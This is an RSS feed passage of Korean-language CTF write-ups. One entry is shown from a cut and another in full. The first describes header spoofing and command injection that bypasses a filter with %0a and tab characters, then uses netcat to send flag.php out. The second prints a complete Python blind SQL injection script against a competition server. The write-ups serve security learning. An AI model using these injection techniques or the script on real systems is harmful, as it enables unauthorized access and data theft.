&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgnJyr/btqtXBTqirk/wAQOFIJOdPbUcKVUkMEEl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgnJyr/btqtXBTqirk/wAQOFIJOdPbUcKVUkMEEl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgnJyr/btqtXBTqirk/wAQOFIJOdPbUcKVUkMEEl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgnJyr%2FbtqtXBTqirk%2FwAQOFIJOdPbUcKVUkMEEl1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;접속하면 위와 같은 메시지를 보실 수 있는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;로컬에서 보낸 패킷이라고 여기게 하면 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;X-Forwarded-For&lt;/b&gt; 헤더를 변조하여 해결하였는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이는 프록시를 통해 통신할 경우에 사용되는 헤더로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;실제 통신하는 프록시 서버에서는 연결자의 IP를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위 헤더에 첨가해 호스트로부터 응답자를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;식별할 수 있도록 하는 역할을 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/obG2b/btqtXz2pqoH/yI3oeWVNYHe6rHA10omYu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/obG2b/btqtXz2pqoH/yI3oeWVNYHe6rHA10omYu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/obG2b/btqtXz2pqoH/yI3oeWVNYHe6rHA10omYu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FobG2b%2FbtqtXz2pqoH%2FyI3oeWVNYHe6rHA10omYu0%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 127.0.0.1로 설정해주고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다시 패킷을 전송해 봅니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX3lmv/btqtYt8cP3j/fszhLn2DKPj1jhSW2x72AK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX3lmv/btqtYt8cP3j/fszhLn2DKPj1jhSW2x72AK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX3lmv/btqtYt8cP3j/fszhLn2DKPj1jhSW2x72AK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX3lmv%2FbtqtYt8cP3j%2FfszhLn2DKPj1jhSW2x72AK%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;페이지와 그 소스가 출력되는데 상단에 ping을 보내어&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;응답을 확인할 수 있도록 하는 폼이 보입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;5.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7Nt5F/btqtZODAXUn/4JT341np8klISlfV0776b0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7Nt5F/btqtZODAXUn/4JT341np8klISlfV0776b0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7Nt5F/btqtZODAXUn/4JT341np8klISlfV0776b0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7Nt5F%2FbtqtZODAXUn%2F4JT341np8klISlfV0776b0%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서버가 존재하지 않는 IP를 입력해 테스트해 보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Not Alive 문자열이 나타나는 것을 볼 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;6.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xtaho/btqtXWXjMNA/poYz0kI422wPkFvMyPjGBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xtaho/btqtXWXjMNA/poYz0kI422wPkFvMyPjGBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xtaho/btqtXWXjMNA/poYz0kI422wPkFvMyPjGBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXtaho%2FbtqtXWXjMNA%2FpoYz0kI422wPkFvMyPjGBK%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;정확하게는 shell_exec를 통해 실행된 명령 응답에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;100% packet loss 라는 문자열이 포함되어 있으면 Not Alive를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그렇지 않으면 Alive를 출력하는 구조인데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;7.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TC2Hx/btqtYnUKvCT/rvhyKdi6qqrOahK2bXgbU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TC2Hx/btqtYnUKvCT/rvhyKdi6qqrOahK2bXgbU0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TC2Hx/btqtYnUKvCT/rvhyKdi6qqrOahK2bXgbU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTC2Hx%2FbtqtYnUKvCT%2FrvhyKdi6qqrOahK2bXgbU0%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;clean() 이라는 함수를 통하여&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;일차적으로 정규식 검증이 이루어지지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;%0a 뒤에 들어가는 내용에 대해서는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;검사를 하지 않는다는 것을 확인하였습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;추가로 clean() 은 인자의 공백을 제거하는 역할도 하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;스페이스 대신에 탭 문자를 넣음으로서 우회가 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;9.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhrT2W/btqtYmIfisa/2X2ozoAVaRK7PgPA2Ntup1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhrT2W/btqtYmIfisa/2X2ozoAVaRK7PgPA2Ntup1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhrT2W/btqtYmIfisa/2X2ozoAVaRK7PgPA2Ntup1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhrT2W%2FbtqtYmIfisa%2F2X2ozoAVaRK7PgPA2Ntup1%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 서버의 포트를 열어두고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;netcat으로 flag.php 파일의 내용을 전송하도록 하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서버에서 수신이 가능했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;10.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FsOem/btqtYnHauMg/NiXph0jKmafHcaxAjAQWVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FsOem/btqtYnHauMg/NiXph0jKmafHcaxAjAQWVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FsOem/btqtYnHauMg/NiXph0jKmafHcaxAjAQWVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFsOem%2FbtqtYnHauMg%2FNiXph0jKmafHcaxAjAQWVK%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/85</guid>
      <comments>https://posix.tistory.com/85#entry85comment</comments>
      <pubDate>Sat, 30 Mar 2019 22:53:05 +0900</pubDate>
    </item>
    <item>
      <title>Set Me Free 문제풀이</title>
      <link>https://posix.tistory.com/84</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;456.PNG&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cP33wR/btqtXAfP88b/fks7tV0VXZzKOb5NKAZhPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cP33wR/btqtXAfP88b/fks7tV0VXZzKOb5NKAZhPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cP33wR/btqtXAfP88b/fks7tV0VXZzKOb5NKAZhPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcP33wR%2FbtqtXAfP88b%2Ffks7tV0VXZzKOb5NKAZhPk%2Fimg.png&quot; data-filename=&quot;456.PNG&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;b00t2root 2019 web 2번&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;SQL 인젝션 문제입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Blo8Y/btqtYJ309dK/X3nSowJV8PionkcnOFJH60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Blo8Y/btqtYJ309dK/X3nSowJV8PionkcnOFJH60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Blo8Y/btqtYJ309dK/X3nSowJV8PionkcnOFJH60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBlo8Y%2FbtqtYJ309dK%2FX3nSowJV8PionkcnOFJH60%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;링크에 접속하면 소스가 출력되는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다른 페이지에서도 모두 마찬가지입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wjjDs/btqtYueUD7a/qphhWtqJ7NgVkj7k4co190/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wjjDs/btqtYueUD7a/qphhWtqJ7NgVkj7k4co190/img.png&quot; style=&quot;width: 42.7749%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wjjDs/btqtYueUD7a/qphhWtqJ7NgVkj7k4co190/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwjjDs%2FbtqtYueUD7a%2FqphhWtqJ7NgVkj7k4co190%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cy58NR/btqt0aGnvS5/jLKCzn6K76jqmOTmgnA7F0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cy58NR/btqt0aGnvS5/jLKCzn6K76jqmOTmgnA7F0/img.png&quot; style=&quot;width: 54.8995%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cy58NR/btqt0aGnvS5/jLKCzn6K76jqmOTmgnA7F0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcy58NR%2Fbtqt0aGnvS5%2FjLKCzn6K76jqmOTmgnA7F0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;&quot; height=&quot;&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;가입 페이지에 접근하면 위와 같은 소스를 볼 수 있는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;유저를 생성하기 위해 유저네임이 사용중인지 검증하는 쿼리에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문자열 escape 처리가 되어 있지 않은데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여기서 blind sql injection을 사용해 문제를 해결할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;brush:py python&quot;&gt;from urllib import request, parse
import sys, math

def send(query):

	data = parse.urlencode({ 'username' : &quot;') and if((%s),1,0) #&quot; % query }).encode()

	req = request.Request('http://3.16.68.122/smf/register.php', data = data)
	req.get_method = lambda : 'POST'
	res = request.urlopen(req).read().decode()
	
	return res.find('User Not Registered') != -1; # means true

def greater_than_or_equal(query, i):
	return send('%s &amp;gt;= %d' % (query, i));
	
def equal(query, i):
	return send('%s = %d' % (query, i));

def search(query):
	min_val = 0
	max_val = 128
	
	while min_val + 1 &amp;lt; max_val:
		mid = math.floor((min_val + max_val) / 2)
		
		if greater_than_or_equal(query, mid):
			min_val = mid
		else:
			max_val = mid
	
	if not equal(query, min_val):
		return search(query)
	
	return min_val
	
def get_length(query):
	return search('length((%s))' % query)
	
def get_and_print_content(query, length):
	content = ''
	for i in range(length):
		content += chr(search('ord(substr((%s), %d, 1))' % (query, i + 1)))
		sys.stdout.write('\r[%s] %s%s' % (length, content, '_' * (length - len(content))))
	print('')
	return content

if __name__ == '__main__':
	arg = ' '.join(sys.argv[1:])
	
	content_len = get_length(arg)
	get_and_print_content(arg, content_len)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J8g2y/btqtZNkmWsy/HvnHDbfeEJPDAZzyhphSK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J8g2y/btqtZNkmWsy/HvnHDbfeEJPDAZzyhphSK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J8g2y/btqtZNkmWsy/HvnHDbfeEJPDAZzyhphSK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ8g2y%2FbtqtZNkmWsy%2FHvnHDbfeEJPDAZzyhphSK1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;파이썬 3.7 기준 코드로 이진 검색을 사용하여 작성하였습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ui1iI/btqt0a0Hi7a/gRFVGNa94xnKZbp38hzso1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ui1iI/btqt0a0Hi7a/gRFVGNa94xnKZbp38hzso1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ui1iI/btqt0a0Hi7a/gRFVGNa94xnKZbp38hzso1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUi1iI%2Fbtqt0a0Hi7a%2FgRFVGNa94xnKZbp38hzso1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;users 테이블과 chck 테이블에는 사용자 정보와&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;접근 제한 정보를 따로 설정해 두었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;처음에는 isRestricted 값이 FALSE 인 계정을 찾아보았는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;전혀 존재하지 않아서, 애초에 chck 테이블에 등록이 되지 않은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;계정을 탐색하였습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ViFa7/btqtXAmDd10/7sCYPkQ9bFrakxpC3SB81k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ViFa7/btqtXAmDd10/7sCYPkQ9bFrakxpC3SB81k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ViFa7/btqtXAmDd10/7sCYPkQ9bFrakxpC3SB81k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FViFa7%2FbtqtXAmDd10%2F7sCYPkQ9bFrakxpC3SB81k%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;chck 테이블에 등록이 되어있지 않으면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;isRestricted 값이 FALSE 인 상태와&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;동일하게 분기를 통과하게 됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ct9IbQ/btqtXWQAdty/SQXbFY7Jgzr8cr4VOoVdQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ct9IbQ/btqtXWQAdty/SQXbFY7Jgzr8cr4VOoVdQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ct9IbQ/btqtXWQAdty/SQXbFY7Jgzr8cr4VOoVdQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fct9IbQ%2FbtqtXWQAdty%2FSQXbFY7Jgzr8cr4VOoVdQ0%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 chck 테이블의 userid 칼럼과 중복되지 않은&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;users.id 값을 가지고 있는 계정을 찾아 로그인 하면 되겠습니다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DcOoF/btqtXBslzV0/bH34NA8Iu7Ht4ppamGoFs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DcOoF/btqtXBslzV0/bH34NA8Iu7Ht4ppamGoFs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DcOoF/btqtXBslzV0/bH34NA8Iu7Ht4ppamGoFs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDcOoF%2FbtqtXBslzV0%2FbH34NA8Iu7Ht4ppamGoFs1%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF Writups</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/84</guid>
      <comments>https://posix.tistory.com/84#entry84comment</comments>
      <pubDate>Sat, 30 Mar 2019 21:26:32 +0900</pubDate>
    </item>
    <item>
      <title>Easy PHP 문제풀이</title>
      <link>https://posix.tistory.com/83</link>
